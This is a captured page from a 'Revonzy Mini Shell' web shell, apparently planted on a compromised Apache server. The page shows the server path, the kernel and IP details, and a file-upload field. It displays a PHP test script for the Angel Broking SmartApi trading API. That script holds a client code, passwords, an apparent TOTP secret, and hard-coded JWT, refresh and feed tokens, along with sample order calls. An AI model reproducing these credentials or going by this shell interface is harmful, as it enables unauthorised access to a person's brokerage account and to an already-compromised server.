Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/angleone/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/angleone/test.php

<?php echo   
date_default_timezone_set('Asia/Kolkata'); ?>

<?php 
/*
$authentication_code =$_POST['authcode'];
$companycode =$_POST['company_code'];
$fromd=$_POST['from_date'];
$tod =$_POST;*/
?>
<script src="src/socket.js"></script>
<?php
session_start();

/*ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
*/


require_once('src/SmartApi.php');

//require_once __DIR__ . '/vendor/autoload.php';
//OR
//require_once '<YOUR-PATH>/SmartApi.php';

$smart_api  = new \AngelBroking\SmartApi();
	
//$login = $smart_api ->GenerateSession("WWNWA1048","1591","845834");

//$login =  json_decode('{"status":"success","http_code":200,"http_error":"","response_data":{"status":true,"message":"SUCCESS","errorcode":"","data":{"jwtToken":"eyJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6IldXTldBMTA0OCIsInJvbGVzIjowLCJ1c2VydHlwZSI6IlVTRVIiLCJpYXQiOjE2NzQ1Nzc3MjksImV4cCI6MTc2MDk3NzcyOX0.rIAMOW7WQHs4bgQngkMQdjZbhMCQl2IkGqFv1YbAEvy89NsZPMu3eIZi9MDkPzMrH9cFHCFdSfKFlIx2VvgzHA","refreshToken":"eyJhbGciOiJIUzUxMiJ9.eyJ0b2tlbiI6IlJFRlJFU0gtVE9LRU4iLCJpYXQiOjE2NzQ1Nzc3Mjl9.UePs9QYVSfxK2Us4MncBQwQZ2YIf9y805t17g0vg1oTyllOnSqeaxtp_BS3koDZDBjf7iaGit7aTikxalsUvTw","feedToken":"0873359367"}}}',true);

//echo $login['response_data']['data']['jwtToken'];

    $jwtToken       =   "";
    $refreshToken   =   "";
    $feedToken      =   "";
    /*
      $login = json_decode($smart_api ->GenerateSession("WWNWA1048","1591",'712043'),true);
        
        //print_r($login);
        
        $jwtToken =  $login['response_data']['data']['jwtToken'];
        $refreshToken =  $login['response_data']['data']['refreshToken'];
        $feedToken =  $login['response_data']['data']['feedToken'];
        
        $_SESSION['jwtToken']       =   $jwtToken;
        $_SESSION['refreshToken']   =   $refreshToken;
        $_SESSION['feedToken']      =   $feedToken;

if(!isset($_SESSION['jwtToken']))
{
        $login = json_decode($smart_api ->GenerateSession("M996098","2611","664692"),true);
        
        //print_r($login);
        
        $jwtToken =  $login['response_data']['data']['jwtToken'];
        $refreshToken =  $login['response_data']['data']['refreshToken'];
        $feedToken =  $login['response_data']['data']['feedToken'];
        
        $_SESSION['jwtToken']       =   $jwtToken;
        $_SESSION['refreshToken']   =   $refreshToken;
        $_SESSION['feedToken']      =   $feedToken;
    
}

if(isset($_SESSION['jwtToken']) AND isset($_SESSION['refreshToken']) AND isset($_SESSION['feedToken']))
{
    $jwtToken       =   $_SESSION['jwtToken'];
    $refreshToken   =   $_SESSION['refreshToken'];
    $feedToken      =   $_SESSION['feedToken'];
}*/

//var_dump($login);
//echo "<br />***********";
//print_r($login);
//echo $login['response_data']['data']['jwtToken'];
//echo $login;

//methods
//$login = json_decode($smart_api ->GenerateSession("WWNWA1048","1591","563857"),true);
//$login = json_decode($smart_api ->GenerateSession("WWNWA1048","SHRI**SHRI77","YVLD3PGT3VICMBV3SW6TWJTVBA"),true);

//print_r($login);
    
    $_SESSION['jwtToken']       =   "eyJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6IldXTldBMTA0OCIsInJvbGVzIjowLCJ1c2VydHlwZSI6IlVTRVIiLCJ0b2tlbiI6ImV5SmhiR2NpT2lKSVV6VXhNaUlzSW5SNWNDSTZJa3BYVkNKOS5leUp6ZFdJaU9pSlhWMDVYUVRFd05EZ2lMQ0psZUhBaU9qRTJPVFExT1RrMU5Ea3NJbWxoZENJNk1UWTVORFV3TkRneU5Td2lhblJwSWpvaU1UZGlOalZrWXpjdE9EVXdNQzAwTW1WaExUaGpOVEF0Wm1SbE9URmtPVE0yTkdJMUlpd2liMjF1WlcxaGJtRm5aWEpwWkNJNk5pd2ljMjkxY21ObGFXUWlPaUl6SWl3aWRYTmxjbDkwZVhCbElqb2lZMnhwWlc1MElpd2lkRzlyWlc1ZmRIbHdaU0k2SW5SeVlXUmxYMkZqWTJWemMxOTBiMnRsYmlJc0ltZHRYMmxrSWpvMkxDSnpiM1Z5WTJVaU9pSXpJbjAuUThMcU8zZDdZQmtTZEtTTEctazBsQjVZRTA5TjZEanpsTF9yelV5RXRfM252OHZhU2Zxdk0weDVhc2Y3MWd3RmNiS2M0clhtMHJlVm0wZXNGX0wwdmciLCJpYXQiOjE2OTQ1MDQ4ODUsImV4cCI6MTY5NDU5MTI4NX0.tFd-DPoPy8kpzPBo29nrKzbnA-S6cDOu2TzDxAzV0-BvUXJ0n1wNdE1xkr4fqocK3Dta_s4BK61sgV9pN6f_Ww";
    $_SESSION['feedToken']      =   "eyJhbGciOiJIUzUxMiJ9.eyJ0b2tlbiI6IlJFRlJFU0gtVE9LRU4iLCJpYXQiOjE2OTQ1MDQ4ODV9.Zkl5SikaIVn-O_d1Ui6EImuIJgVRsNZf5rsqSyQ5c9_KlsSM115oHCPhUWiOyoGm2TUSo1zZSsh0BaIisvGsig";
    $_SESSION['refreshToken']   =   "eyJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6IldXTldBMTA0OCIsImlhdCI6MTY5NDUwNDg4NSwiZXhwIjoxNjk0NTkxMjg1fQ.BOjJ27xZC4CKBtSNJ4UkHk35W_pcxoFzz796wN6QyN2KSnNDd-4g7H6rcWaisCV6H74ZCObIYz_z5eWCNcci5g";
    
    $jwtToken       =   $_SESSION['jwtToken'];
    $refreshToken   =   $_SESSION['refreshToken'];
    $feedToken      =   $_SESSION['feedToken'];

    $token = $smart_api ->GenerateToken();
    
   echo $profile = $smart_api ->GetProfile();
   
   //  $smart_api ->LogOut(array('clientcode'=>'your client-code'));
    
   //  echo $rms = $smart_api ->GetRMS();
    
   /* echo $order = $smart_api ->PlaceOrder(array('variety' => 'NORMAL',
                                     'tradingsymbol'  =>  'JINDALSTEL-EQ',
                                     'symboltoken' => '6733',
                                     'exchange' => 'NSE',
                                     'transactiontype' => 'SELL',
                                     'ordertype' => 'LIMIT',
                                     'quantity' => '1',
                                     'producttype' => 'INTRADAY',
                                     'price' => 312.65,
                                     'squareoff' => 0,
                                     'stoploss' => 0,
                                     'duration' => 'DAY'));*/
                                    
   //   $modifyOrder = $smart_api ->ModifyOrder(array('variety' => 'NORMAL',
   //                                  'tradingsymbol'  =>  'JINDALSTEL-EQ',
   //                                  'symboltoken' => '6733',
   //                                  'exchange' => 'NSE',
   //                                  'transactiontype' => 'BUY',
   //                                  'ordertype' => 'LIMIT',
   //                                  'quantity' => '1',
   //                                  'producttype' => 'INTRADAY',
   //                                  'price' => 200,
   //                                  'squareoff' => 0,
   //                                  'stoploss' => 0,
   //                                  'duration' => 'DAY',
   //                                  'orderid' =>210312000000394));
    
   //  $cancelOrder = $smart_api ->CancelOrder(array('variety' => 'NORMAL',
   //                                    'orderid' => '210312000000394'));
   // echo "<br /> <br />**************<br />";                                  
    //echo $GetOrderBook = $smart_api ->GetOrderBook();
    
    //echo "<br /> <br />**************<br />";                                  
   //  $GetTradeBook = $smart_api ->GetTradeBook();
    
   //  $GetHoldings =  $smart_api ->GetHoldings();
    
   //  $GetPosition  = $smart_api ->GetPosition();
    
   //  $ConvertPosition  = $smart_api ->ConvertPosition(array("exchange"=>"NSE",
   //                                              "oldproducttype"=>"INTRADAY",
   //                                              "newproducttype"=>"MARGIN",
   //                                              "tradingsymbol"=>"JINDALSTEL-EQ",
   //                                              "transactiontype"=>"SELL",
   //                                              "quantity"=>"1",
   //                                              "type"=>"DAY"));
                                                
   // $CreateRule  = $smart_api ->CreateRule(array("tradingsymbol" => "SBIN-EQ", 
   //                                    "symboltoken" => "3045", 
   //                                    "exchange" => "NSE", 
   //                                    "producttype" => "MARGIN", 
   //                                    "transactiontype" => "BUY",
   //                                    "price" => 100000, 
   //                                    "qty" => 10, 
   //                                    "disclosedqty"=> 10, 
   //                                    "triggerprice" => 200000,
   //                                    "timeperiod" => 365));
                                       
   // $ModifyRule  = $smart_api ->ModifyRule(array('id' => '1000059',
   //                                     "tradingsymbol" => "SBIN-EQ", 
   //                                    "symboltoken" => "3045", 
   //                                    "exchange" => "NSE", 
   //                                    "producttype" => "MARGIN", 
   //                                    "transactiontype" => "BUY",
   //                                    "price" => 100000, 
   //                                    "qty" => 20, 
   //                                    "disclosedqty"=> 10, 
   //                                    "triggerprice" => 200000,
   //                                    "timeperiod" => 365));
                                      
   //  $CancelRule = $smart_api ->CancelRule(array('symboltoken'  => '3045'
   //                                     'exchange'   =>   'NSE' ,
   //                                    'id'  => '1000059'));
                                      
   //  $RuleDetails = $smart_api ->RuleDetails(array('id'=>'1000059'));
    
   //  $RuleList = $smart_api ->RuleList(array( "status"=> [
   //                                    "NEW",
   //                                    "CANCELLED",
   //                                    "ACTIVE",
   //                                    "SENTTOEXCHANGE",
   //                                    "FORALL"
   //                               ],
   //                               "page"=> 1,
   //                               "count"=> 10));
                                 
    echo $GetCandleData = $smart_api ->GetCandleData(array("exchange"=> "NSE",
                                              "symboltoken"=> "3045",
                                              "interval"=> "FIVE_MINUTE",
                                              "fromdate"=> "2023-05-02 09:15",
                                              "todate"=> "2023-05-02 09:20"));

 // echo $GetLtpData = $smart_api ->GetLtpData(array('exchange'  => 'NSE',
//                                       'tradingsymbol'   =>   'SBIN-EQ' ,
//                                      'symboltoken'  => '3045'));

   

?>

<script type="text/javascript">
	
		var ws =new  websocket('WWNWA1048', '<?php echo $feedToken; ?>');
		
		//connect to server
		ws.connection();

      //add callback after socket connection
      ws.on('connect', connectionOpen);

      function connectionOpen()
      {   
        
         ws.runScript("nse_cm|2885", "mw");

         // ws.runScript("script", "task");
          // SCRIPT: exchange|token for multi stocks use & seperator, mcx_fo|222900  ### TASK: mw|sfi|dp
      }

	   //add callback method where you can manipulate socket data
		ws.on('tick', receiveTick);

		//user defined function
		function receiveTick(data) {
			console.log(data);
         if (data.length == 0) 
         {
             ws.close();
         }
		}
	</script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4